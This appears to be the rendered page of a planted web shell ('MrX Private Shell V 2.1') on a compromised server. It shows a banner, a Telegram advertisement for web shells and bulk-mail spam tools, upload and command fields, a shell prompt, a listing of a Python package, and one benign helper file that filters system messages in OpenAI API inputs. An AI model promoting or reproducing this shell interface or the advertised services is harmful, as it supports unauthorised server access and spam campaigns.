__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from typing import Union

    from openai.types.responses import ResponseInputItemParam, ResponseInputParam


def _is_system_instruction(message: "ResponseInputItemParam") -> bool:
    if not isinstance(message, dict) or not message.get("role") == "system":
        return False

    return "type" not in message or message["type"] == "message"


def _get_system_instructions(
    messages: "Union[str, ResponseInputParam]",
) -> "list[ResponseInputItemParam]":
    if not isinstance(messages, list):
        return []

    return [message for message in messages if _is_system_instruction(message)]

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 288 B 0644
_openai_completions_api.py File 1.78 KB 0644
_openai_responses_api.py File 656 B 0644
consts.py File 275 B 0644
monitoring.py File 5.7 KB 0644
utils.py File 25.42 KB 0644